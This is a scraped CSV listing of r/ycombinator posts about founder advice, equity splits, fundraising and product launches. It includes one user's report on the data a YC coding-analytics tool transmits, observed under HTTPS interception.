biotech, quantum computing, and more. Free to read, free to curate, no ads ever. Looking for founders with strong opinions about what matters in their field. Thats the whole product really, people who know something and are willing to put their name on it.",PHD_BDE_holder,1,0,1781719338,/r/ycombinator/comments/1u8hm87/launched_8fold_this_week_its_a_place_for_founders/,https://www.reddit.com/r/ycombinator/comments/1u8hm87/launched_8fold_this_week_its_a_place_for_founders/,self.ycombinator,True,0.99,False,,arctic-shift,1781885552 1u8gr9x,ycombinator,ClimateTech GTM Help,[removed],HonestClient3849,1,0,1781717461,/r/ycombinator/comments/1u8gr9x/climatetech_gtm_help/,https://www.reddit.com/r/ycombinator/comments/1u8gr9x/climatetech_gtm_help/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8gklv,ycombinator,"If you ever feel like giving up, just sleep","I’ve noticed a pattern Sometimes I’ll be working on something and suddenly everything feels impossible The product isn’t good enough, the market is too competitive, the problems are too big and blah blah. It feels like nothing is going to work out And the weird thing is that in those moments, it all feels objectively true. Not emotional, Not temporary. but true, then I sleep. And when I wake up, the facts haven’t changed The bugs are still there, the challenges are still there, the uncertainty is still there But somehow the conclusion changes, instead of “this is impossible or I cant do it,” it becomes “this is difficult, but I can do it”. And those are two very different things I’ve learned not to trust my brain when it’s exhausted If I feel like shutting down a project, quitting, pivoting, or throwing months of work away, I have one rule, Sleep first.. Most of the time, though, I wake up and realize I wasn’t seeing reality, I was seeing reality through exhaustion How many times have you almost quit something that looked completely different after a good night’s sleep?",Suspicious_Store_137,228,54,1781717062,/r/ycombinator/comments/1u8gklv/if_you_ever_feel_like_giving_up_just_sleep/,https://www.reddit.com/r/ycombinator/comments/1u8gklv/if_you_ever_feel_like_giving_up_just_sleep/,self.ycombinator,True,0.99,False,,arctic-shift,1781885552 1u8gjrb,ycombinator,how many investors should be on a cap table?,"Based on the stage, what does a normal amount of angels look like at pre-seed/seed? I've seen some founders get lucky with 1 super angel and others who have a few dozen, is there a number where if you hit it, you're likely taking on too many people?",roguejedi1,3,5,1781717013,/r/ycombinator/comments/1u8gjrb/how_many_investors_should_be_on_a_cap_table/,https://www.reddit.com/r/ycombinator/comments/1u8gjrb/how_many_investors_should_be_on_a_cap_table/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8ezkp,ycombinator,Business founder gaining traction. Technical Cofounder stepped down. What do I do?,[removed],Many-Sun2017,1,0,1781713582,/r/ycombinator/comments/1u8ezkp/business_founder_gaining_traction_technical/,https://www.reddit.com/r/ycombinator/comments/1u8ezkp/business_founder_gaining_traction_technical/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8ajqo,ycombinator,Zen research ai,[removed],zenResearchonline,1,0,1781703737,/r/ycombinator/comments/1u8ajqo/zen_research_ai/,https://www.reddit.com/r/ycombinator/comments/1u8ajqo/zen_research_ai/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u889d5,ycombinator,What are you building that felt obvious to you but confusing to others?,[removed],Expert-Ad2413,1,0,1781697783,/r/ycombinator/comments/1u889d5/what_are_you_building_that_felt_obvious_to_you/,https://www.reddit.com/r/ycombinator/comments/1u889d5/what_are_you_building_that_felt_obvious_to_you/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u86ibf,ycombinator,Startup life or Content Creator or Job,"Hi guys I wanted to ask for help on career advice that some of you may relate to. I am a couple years out of undergrad where I studied computer engineering, and interned at startup and big tech in the West Coast. Afterwards I have pursued a series of side quests (2 years as an actor in Asia), 5 years doing B2B cannabis brand sales (done decently well but not excited about it whatsoever) also a part time running influencer. (Unintentional viral video blew me up to 30k followers across platforms). At this point I am done being in the cannabis industry and I am interested in pursuing working in the tech industry again, esp with all of the exciting AI Startups now (would be a dream to get into YC or start a software startup of my own). After reading about Naval I am also very interested in using media(content) and software as a leverage in business. Currently struggling with deciding btw 3 paths: \- Get a job in tech (corp or startup), and learn the ropes since I've been away for so long, and aim to transition to joining startup/starting my own software startup. \- Became a content creator around tech and research and position my way into an authority figure in tech, which might land me a job in tech or lead to starting my own company \- Stick with cannabis and find a problem to solve with AI B2b SaaS solution, even though I am incredibly rusty in tech. (I feel weird about having ties with cannabis and I'm not passionate about the industry) It's also a rough industry and not as lucrative as people might think. \- Stick with Running Influencer and document my journey of creating a running/health consumer app and using content as distribution. I am in my late 20s now and I fear that I am running out of time to experiment and pursue big things. Either suck it up and get a real job or go all in on one of the above options. Appreciate anyone who reads this and can offer any thoughts/advice. I understand this is a bit different from usual posts and will accept the hate, but this has genuinely been bothering me for the past year. Thank you so much",HongKongRad,0,6,1781692417,/r/ycombinator/comments/1u86ibf/startup_life_or_content_creator_or_job/,https://www.reddit.com/r/ycombinator/comments/1u86ibf/startup_life_or_content_creator_or_job/,self.ycombinator,True,0.5,False,,arctic-shift,1781885552 1u86glf,ycombinator,I need your opinion about this,[removed],Sufficient_Sea_6667,1,0,1781692255,/r/ycombinator/comments/1u86glf/i_need_your_opinion_about_this/,https://www.reddit.com/r/ycombinator/comments/1u86glf/i_need_your_opinion_about_this/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u8688t,ycombinator,"Solo founder with traction, but hitting technical limits.","Hey everyone, I wanted some advice from founders here. I’m a second-time founder, 24, IIT Kharagpur graduate, currently in SF. My last startup was a niche AI data company. I started as a solo founder with no team, sold to multiple YC-backed companies, and scaled it to \~$500K revenue in 8 months while handling sales, ops, hiring, delivery, and GTM myself. Now I’m working on a much more technical problem: infrastructure for clinical trial data. Clinical trials still run on a messy mix of legacy EDC systems, PDFs, lab reports, imaging reports, safety databases, spreadsheets, vendor portals, protocol deviations, reconciliation, and query management. This is the data used to decide whether a drug is safe, effective, and ready for approval, but a lot of the workflow behind it is still manual and fragmented. I’ve had 40+ conversations across pharma, CROs, clinical data management, clinical ops, and statistical programming, and realized this is a real problem teams deal with every day. The challenge is that this is not a quick SaaS app. It’s a hard regulated enterprise problem with compliance, auditability, long sales cycles, and a lot of technical depth. As a solo founder, I can get pretty far on customer discovery, sales, GTM, and product direction, but I’m starting to feel the ceiling of not having a strong technical person thinking through the product and architecture with me from day one. For people who’ve been in this situation, how would you think about this? Should I look for a technical cofounder now, or keep pushing with contractors/prototypes until there’s more traction? And if I should look for one, what are the best ways to find a serious technical cofounder in SF? Would appreciate any advice from founders who’ve gone through this.",alexpacker86835,45,39,1781691476,/r/ycombinator/comments/1u8688t/solo_founder_with_traction_but_hitting_technical/,https://www.reddit.com/r/ycombinator/comments/1u8688t/solo_founder_with_traction_but_hitting_technical/,self.ycombinator,True,0.9,False,,arctic-shift,1781885552 1u80mw6,ycombinator,"I ran YCombinator's Paxel under a live HTTPS wiretap. It sends your Cloudflare OAuth tokens, git email, and verbatim Claude prompts to YC servers","Paxel is a new YC tool that analyzes your AI coding sessions (Claude Code, Cursor, Codex) and gives you a productivity report. The install is the classic \`curl | bash\` one-liner. Before running it I built an HTTPS interception rig — custom Ruby SSL patch injected via Docker wrapper, full mitmproxy capture. Here's what a real run actually sends: \*\*The findings (all live-capture confirmed, not speculation):\*\* I would request other researchers to do analysis as well.  🔴 CRITICAL — Cloudflare OAuth tokens (\`cfoat\_\`) are NOT in the SecretScrubber's 22-pattern list. If you've ever run \`wrangler deploy --api-token cfoat\_...\` in a Claude Code session, that token goes to YC's LLM proxy verbatim. Confirmed in the actual packet capture. 🟠 HIGH — Your git email is sent to \`[paxel.ycombinator.com/api/v1/identity/register\`](http://paxel.ycombinator.com/api/v1/identity/register) \*before Docker even starts\*, on every run, unconditionally. 🟠 HIGH — Everything \*you typed to Claude\* (user messages) goes verbatim to YC's LLM proxy. The tool strips Claude's responses and file contents — but your prompts, questions, and debugging thoughts are sent as-is. 🟡 MEDIUM — A 137KB behavioral report is uploaded per run: episode scores, LLM-generated session narratives, and a full timestamped list of every bash command you ran. The meta moment: the session where I performed this analysis was itself captured by Paxel. The uploaded narrative read: ""They specified that potential Wrangler OAuth token or Cloudflare deployment data exposure should be treated as a critical finding."" YC received my security findings about their product in the results payload. Full technical report, interactive data flow visualization, and raw capture analysis in the repo: 👉 [https://github.com/trangocomputedev/ycombinator-paxel-security-analysis](https://github.com/trangocomputedev/ycombinator-paxel-security-analysis) Not saying Paxel is malicious — the TranscriptChunker v3 design (strips file contents and Claude responses) is genuinely thoughtful. But ""analyzes your sessions"" and ""sends your prompts, bash commands, and email to third-party LLMs via a YC proxy and stores a behavioral profile"" are usefully different descriptions. I would also request other researchers to do analysis as well for validation.",Mindless_Clock_6299,42,12,1781672113,/r/ycombinator/comments/1u80mw6/i_ran_ycombinators_paxel_under_a_live_https/,https://www.reddit.com/r/ycombinator/comments/1u80mw6/i_ran_ycombinators_paxel_under_a_live_https/,self.ycombinator,True,0.82,False,,arctic-shift,1781885552 1u7sqvu,ycombinator,Review your YC application (based on official YC resources),[removed],morajabi,1,0,1781650043,/r/ycombinator/comments/1u7sqvu/review_your_yc_application_based_on_official_yc/,https://www.reddit.com/r/ycombinator/comments/1u7sqvu/review_your_yc_application_based_on_official_yc/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u7nr0a,ycombinator,YC Startup School - sf,[removed],Immediate-Length5040,1,0,1781638583,/r/ycombinator/comments/1u7nr0a/yc_startup_school_sf/,https://www.reddit.com/r/ycombinator/comments/1u7nr0a/yc_startup_school_sf/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u7mszf,ycombinator,Looking for an AI Video Creator / Visual Artist Partner (30% Profit),[removed],Some_Payment5882,1,0,1781636564,/r/ycombinator/comments/1u7mszf/looking_for_an_ai_video_creator_visual_artist/,https://www.reddit.com/r/ycombinator/comments/1u7mszf/looking_for_an_ai_video_creator_visual_artist/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u7mox0,ycombinator,"Tracelift: analyze LLM/agent trace files (JSONL, OTLP-JSON) with a Rust core and polars API",[removed],aryan_aidev,1,0,1781636330,/r/ycombinator/comments/1u7mox0/tracelift_analyze_llmagent_trace_files_jsonl/,https://www.reddit.com/r/ycombinator/comments/1u7mox0/tracelift_analyze_llmagent_trace_files_jsonl/,self.ycombinator,True,0.99,False,,arctic-shift,1781885552 1u7khha,ycombinator,YC Startup School 2026 Discord Group,[removed],winner8998,1,0,1781631654,/r/ycombinator/comments/1u7khha/yc_startup_school_2026_discord_group/,https://www.reddit.com/r/ycombinator/comments/1u7khha/yc_startup_school_2026_discord_group/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u7jzyc,ycombinator,YC Startup School 2026 Discord Group,[removed],winner8998,1,0,1781630635,/r/ycombinator/comments/1u7jzyc/yc_startup_school_2026_discord_group/,https://www.reddit.com/r/ycombinator/comments/1u7jzyc/yc_startup_school_2026_discord_group/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u7izrp,ycombinator,Roast my portfolio,[removed],[deleted],1,0,1781628531,/r/ycombinator/comments/1u7izrp/roast_my_portfolio/,,,True,1,False,,arctic-shift,1781885552 1u7ih2x,ycombinator,why do vcs still treat a non-technical founder as a red flag? (I will not promote),"disclaimer: im a non-technical founder, i just raised my series A. and im not showing off, i promise. the whole point of this post is to encourage my fellow non-technical kings. look. half the biggest companies in the world were sold and distributed into existence by someone who never wrote a single line of code. but pitch as a non-technical founder and you can feel some investors see that as if youve went to jail or something. what got me unstuck was stupid simple. i stopped going to those vcs who have this filter. thats it. I source a list of vc who invested in non-technical founders using chatgpt, linkedin and articuler. I go into their LinkedIn and see their portfolio one by one. because those people see the dog in us. they werent hunting for a reason to pass, they were actually listening. so if your non-technical and getting ghosted, hear me. its not you and its not your product. your just pitching the wrong people.",Alex0282,16,25,1781627420,/r/ycombinator/comments/1u7ih2x/why_do_vcs_still_treat_a_nontechnical_founder_as/,https://www.reddit.com/r/ycombinator/comments/1u7ih2x/why_do_vcs_still_treat_a_nontechnical_founder_as/,self.ycombinator,True,0.83,False,,arctic-shift,1781885552 1u7i4qn,ycombinator,What’s taking up most of your mental bandwidth as a founder right now?,[removed],thestartupcto_,1,0,1781626678,/r/ycombinator/comments/1u7i4qn/whats_taking_up_most_of_your_mental_bandwidth_as/,https://www.reddit.com/r/ycombinator/comments/1u7i4qn/whats_taking_up_most_of_your_mental_bandwidth_as/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u7gbmd,ycombinator,I reviewed every startup decision I made this year. It was humbling😩,[removed],caelancarmersecond,1,0,1781622759,/r/ycombinator/comments/1u7gbmd/i_reviewed_every_startup_decision_i_made_this/,https://www.reddit.com/r/ycombinator/comments/1u7gbmd/i_reviewed_every_startup_decision_i_made_this/,self.ycombinator,True,0.99,False,,arctic-shift,1781885552 1u7eytr,ycombinator,Events around YC Startup School,[removed],AskTheW,1,0,1781619724,/r/ycombinator/comments/1u7eytr/events_around_yc_startup_school/,https://www.reddit.com/r/ycombinator/comments/1u7eytr/events_around_yc_startup_school/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u71bwd,ycombinator,How to find ceo for our startup?,"Same as the title but more context... Someone who matches our knowledge, experience, goals, passionate, and like overall Someone who knows what it means to be a ceo... and not just for role/position How do we find people like that? 😮‍💨 I've never met someone same level as me... atleast not same but even half would be better then nothing We can grow together... and learn together ",Buildwithkrishuu,0,19,1781577850,/r/ycombinator/comments/1u71bwd/how_to_find_ceo_for_our_startup/,https://www.reddit.com/r/ycombinator/comments/1u71bwd/how_to_find_ceo_for_our_startup/,self.ycombinator,True,0.38,False,,arctic-shift,1781885552 1u70crj,ycombinator,[ Removed by moderator ],,Hot-Option1161,1,0,1781575185,/r/ycombinator/comments/1u70crj/where_is_demo_day_tomorrow/,https://www.reddit.com/r/ycombinator/comments/1u70crj/where_is_demo_day_tomorrow/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u70c7a,ycombinator,Looking to Connect with Entrepreneurs Building in Agentic AI for eCommerce 🤖🛒,[removed],Short-Ad3976,1,0,1781575141,/r/ycombinator/comments/1u70c7a/looking_to_connect_with_entrepreneurs_building_in/,https://www.reddit.com/r/ycombinator/comments/1u70c7a/looking_to_connect_with_entrepreneurs_building_in/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6uua8,ycombinator,YC’s Paxel not working with Antigravity Sessions,"I very recent applied to YC Startup school SF with a referral (prolly won’t get in, cause it’s pretty late). I mostly use Antigravity for coding and building, but YC’s Paxel is not seeming to work with Antigravity. Does anybody have any suggestions on what to do, or was anyone able to get Paxel to read their Antigravity sessions? Thanks!",ice_flame_,1,1,1781560855,/r/ycombinator/comments/1u6uua8/ycs_paxel_not_working_with_antigravity_sessions/,https://www.reddit.com/r/ycombinator/comments/1u6uua8/ycs_paxel_not_working_with_antigravity_sessions/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6un89,ycombinator,"what do you think? it is posible to build engine, with wich you can build Giga Factory just by prompting? ""i will not promote""","Imagine this: Let's have Giga Factory build product XY. What do we need for that? And Engine would actually build it with you. Would that be a realistic scenario? What do you think? So this is a thought experiment; let's say we simply try to make a prediction. And if it were possible, what should the engine look like? And imagine you have the complete picture, you know which component you would have to master to achieve that, how would you find such a crazy investor who would believe you?",Environmental-Ad-209,0,0,1781560401,/r/ycombinator/comments/1u6un89/what_do_you_think_it_is_posible_to_build_engine/,https://www.reddit.com/r/ycombinator/comments/1u6un89/what_do_you_think_it_is_posible_to_build_engine/,self.ycombinator,True,0.5,False,,arctic-shift,1781885552 1u6twfw,ycombinator,How did you find your first design partners for a B2B product?,[removed],Abhinay_Bandela,1,0,1781558716,/r/ycombinator/comments/1u6twfw/how_did_you_find_your_first_design_partners_for_a/,https://www.reddit.com/r/ycombinator/comments/1u6twfw/how_did_you_find_your_first_design_partners_for_a/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6s95z,ycombinator,Got invitation to YC Startup School,"is it possible to get direct invitation to startup school? hmm, it seems like a fake email, but just want to confirm if it is possible PS: cannot give out the details of the person who sent me this. who knows it's a real thing and I don't want to dox",Temporary-Mixture283,0,3,1781555094,/r/ycombinator/comments/1u6s95z/got_invitation_to_yc_startup_school/,https://www.reddit.com/r/ycombinator/comments/1u6s95z/got_invitation_to_yc_startup_school/,self.ycombinator,True,0.4,False,,arctic-shift,1781885552 1u6rjz0,ycombinator,Model routing and billing,[removed],AskTheW,1,0,1781553580,/r/ycombinator/comments/1u6rjz0/model_routing_and_billing/,https://www.reddit.com/r/ycombinator/comments/1u6rjz0/model_routing_and_billing/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6ris0,ycombinator,Track trending github repos on hacker news,"Made a simple way to track trending github repos on hacker news - [https://hn-github-reader.vercel.app/](https://hn-github-reader.vercel.app/) I used to find them manually going through lot of posts and go back and forth between HN and Github to check more details. Now just made them available in 1 view which auto-updates.",Appropriate-Time-527,5,3,1781553506,/r/ycombinator/comments/1u6ris0/track_trending_github_repos_on_hacker_news/,https://www.reddit.com/r/ycombinator/comments/1u6ris0/track_trending_github_repos_on_hacker_news/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6qsi8,ycombinator,Nordic founders & investors,[removed],WittyBar675,1,0,1781551953,/r/ycombinator/comments/1u6qsi8/nordic_founders_investors/,https://www.reddit.com/r/ycombinator/comments/1u6qsi8/nordic_founders_investors/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6qjw1,ycombinator,Compliance as a wedge for B2B AI startups - anyone else seeing this?,[removed],Academic_Major_998,1,0,1781551453,/r/ycombinator/comments/1u6qjw1/compliance_as_a_wedge_for_b2b_ai_startups_anyone/,https://www.reddit.com/r/ycombinator/comments/1u6qjw1/compliance_as_a_wedge_for_b2b_ai_startups_anyone/,self.ycombinator,True,0.99,False,,arctic-shift,1781885552 1u6qiri,ycombinator,Nordic investors & founders,[removed],Jollari11,1,0,1781551390,/r/ycombinator/comments/1u6qiri/nordic_investors_founders/,https://www.reddit.com/r/ycombinator/comments/1u6qiri/nordic_investors_founders/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6q8au,ycombinator,Nordic Founders & Investors,[removed],Jollari11,1,0,1781550776,/r/ycombinator/comments/1u6q8au/nordic_founders_investors/,https://www.reddit.com/r/ycombinator/comments/1u6q8au/nordic_founders_investors/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6norj,ycombinator,Applying to Z Fellows,[removed],Important-Plant-idk,1,0,1781545506,/r/ycombinator/comments/1u6norj/applying_to_z_fellows/,https://www.reddit.com/r/ycombinator/comments/1u6norj/applying_to_z_fellows/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6mw5c,ycombinator,"How much do you actually trust founder success stories on LinkedIn? Asked 9 founders, the answers were brutal.",[removed],PerformanceNo253,1,0,1781543789,/r/ycombinator/comments/1u6mw5c/how_much_do_you_actually_trust_founder_success/,https://www.reddit.com/r/ycombinator/comments/1u6mw5c/how_much_do_you_actually_trust_founder_success/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6lhek,ycombinator,"Looking for motivation, is it worth it?",[removed],cuda_buddha,1,0,1781540816,/r/ycombinator/comments/1u6lhek/looking_for_motivation_is_it_worth_it/,https://www.reddit.com/r/ycombinator/comments/1u6lhek/looking_for_motivation_is_it_worth_it/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6khid,ycombinator,I built a Tokenmaxxing Leaderboard for AI coding tools,"Been vibe coding heavily and wanted to know how much I was actually cooking vs just having the tools open. Couldn't find anything that tracked it, so I built **DevStats**. It's a CLI that reads your local editor logs (no repo access, no message content) and syncs aggregate stats — token counts, session duration, streaks — to a live leaderboard where you can compete with other devs. Three commands to get started: `npm i -g devstats-cli && devstats login && devstats sync` What you get: * Token counts per tool and model * Activity heatmap + streaks * Public profile at u/yourhandle with an OG card to flex * Live leaderboard that resets weekly — ranked by tokens, sessions, or duration * Squads — private leaderboards with friends behind an invite code Private by default, going public is opt-in. The CLI never reads your messages or file contents, just the aggregate stats each tool already logs locally. Live: [https://devstats-x.vercel.app](https://devstats-x.vercel.app/) Source: [https://github.com/priyansh-x/devstats](https://github.com/priyansh-x/devstats) Happy to answer questions — would love to know where you land on the leaderboard.",PriyanshX,0,1,1781538719,/r/ycombinator/comments/1u6khid/i_built_a_tokenmaxxing_leaderboard_for_ai_coding/,https://www.reddit.com/r/ycombinator/comments/1u6khid/i_built_a_tokenmaxxing_leaderboard_for_ai_coding/,self.ycombinator,True,0.4,False,,arctic-shift,1781885552 1u6ifh5,ycombinator,How do you go about getting your first paid pilot customers for your startup?,[removed],Frosty-Telephone-747,1,0,1781534215,/r/ycombinator/comments/1u6ifh5/how_do_you_go_about_getting_your_first_paid_pilot/,https://www.reddit.com/r/ycombinator/comments/1u6ifh5/how_do_you_go_about_getting_your_first_paid_pilot/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6gd0i,ycombinator,We analyzed how startups actually get funding most founders are wrong,[removed],plugggedcircle,1,0,1781529442,/r/ycombinator/comments/1u6gd0i/we_analyzed_how_startups_actually_get_funding/,https://www.reddit.com/r/ycombinator/comments/1u6gd0i/we_analyzed_how_startups_actually_get_funding/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6f4kf,ycombinator,How did you get people to actually try your product early on?,[removed],Santhosh_Redde,1,0,1781526342,/r/ycombinator/comments/1u6f4kf/how_did_you_get_people_to_actually_try_your/,https://www.reddit.com/r/ycombinator/comments/1u6f4kf/how_did_you_get_people_to_actually_try_your/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u6d8li,ycombinator,What investors actually ask about security at Series A (and how to not be caught off guard),[removed],albernaz_,1,0,1781520967,/r/ycombinator/comments/1u6d8li/what_investors_actually_ask_about_security_at/,https://www.reddit.com/r/ycombinator/comments/1u6d8li/what_investors_actually_ask_about_security_at/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u5xqjn,ycombinator,if i needed an internship in any yc startup,[removed],Healthy_Wolf_9738,1,0,1781473547,/r/ycombinator/comments/1u5xqjn/if_i_needed_an_internship_in_any_yc_startup/,https://www.reddit.com/r/ycombinator/comments/1u5xqjn/if_i_needed_an_internship_in_any_yc_startup/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u5xktk,ycombinator,Looking to connect with fellow founders! (yc startup school referral link),[removed],Western-Swing3446,1,0,1781473149,/r/ycombinator/comments/1u5xktk/looking_to_connect_with_fellow_founders_yc/,https://www.reddit.com/r/ycombinator/comments/1u5xktk/looking_to_connect_with_fellow_founders_yc/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u5ws82,ycombinator,This is how scaling Startups hire. (Complete workflow explained),[removed],ooog_raver,1,0,1781471224,/r/ycombinator/comments/1u5ws82/this_is_how_scaling_startups_hire_complete/,https://www.reddit.com/r/ycombinator/comments/1u5ws82/this_is_how_scaling_startups_hire_complete/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u5w3na,ycombinator,I buillt a methodology for faster solo builds should I apply?,"I am new to ""coding"", but I did build something great. My project is a video pipeline, with speaker tracking, editorial, 9:16 dynamic export. That's not the point, I built this in 4 months with 0 background in coding. I am a video editor and built a tool to help, that just got out of hand. In that time, I also developed a method for solo builders and used it to simulate GOT ending based off the characters traits up till season 5. I used it on smaller programs, I started, but just haven't gone back too. The methodology is sound. I have over 890 ledger entries on my build. Is that enough to make an application, or will my lack of training and college be a detractor?",DexTheConcept,0,4,1781469586,/r/ycombinator/comments/1u5w3na/i_buillt_a_methodology_for_faster_solo_builds/,https://www.reddit.com/r/ycombinator/comments/1u5w3na/i_buillt_a_methodology_for_faster_solo_builds/,self.ycombinator,True,0.5,False,,arctic-shift,1781885552 1u5uru1,ycombinator,Anyone up to build a predictive behavioral model from scratch ?,[removed],Illustrious-Buy6288,1,0,1781466422,/r/ycombinator/comments/1u5uru1/anyone_up_to_build_a_predictive_behavioral_model/,https://www.reddit.com/r/ycombinator/comments/1u5uru1/anyone_up_to_build_a_predictive_behavioral_model/,self.ycombinator,True,1,False,,arctic-shift,1781885552 1u5ujyu,ycombinator,What's the best way to find your first users for a B2C product?,[removed],FlakyAd1941,1,0,1781465903,/r/ycombinator/comments/1u5ujyu/whats_the_best_way_to_find_your_first_users_for_a/,https://www.reddit.com/r/ycombinator/comments/1u5ujyu/whats_the_best_way_to_find_your_first_users_for_a/,self.ycombinator,True,0.99,False,,arctic-shift,1781885552 1u5u5ia,ycombinator,"Is it normal for the business co-founder to demand 51% equity because ""investors won't fund without a majority shareholder""?","Hi everybody! We are three founders who intend to establish a startup venture in tech. We have decided that two of us would work as developers in the area of website/API/database and mobile iOS/Android respectively, whereas the third would focus on sales and business operations. At the very outset, we decided that our equity distribution will be equal at around 33% each. However, at present the third member claims that in order to raise financing, we need at least 51% of equity for himself (the rest being shared between us two). We don't mind treating him well but are skeptical whether it is an actual requirement on the part of the investors or his way of establishing control over us. Questions: Does it mean that the investors usually don't fund any startup unless there is >50% ownership of one founder? Can one structure decision-making processes so that they allow more control but with the ownership being close (as above)? Any advice from your experience would be most welcome.",Adventurous_Hall_202,36,79,1781464975,/r/ycombinator/comments/1u5u5ia/is_it_normal_for_the_business_cofounder_to_demand/,https://www.reddit.com/r/ycombinator/comments/1u5u5ia/is_it_normal_for_the_business_cofounder_to_demand/,self.ycombinator,True,0.88,False,,arctic-shift,1781885552 1u5syh8,ycombinator,Streamlining Indian legal paperwork: We built an AI assistant for Chronologies and Quick Drafting,[removed],One_Tiger4494,1,0,1781462228,/r/ycombinator/comments/1u5syh8/streamlining_indian_legal_paperwork_we_built_an/,https://www.reddit.com/r/ycombinator/comments/1u5syh8/streamlining_indian_legal_paperwork_we_built_an/,self.ycombinator,True,1,False,,arctic-shift,1781885552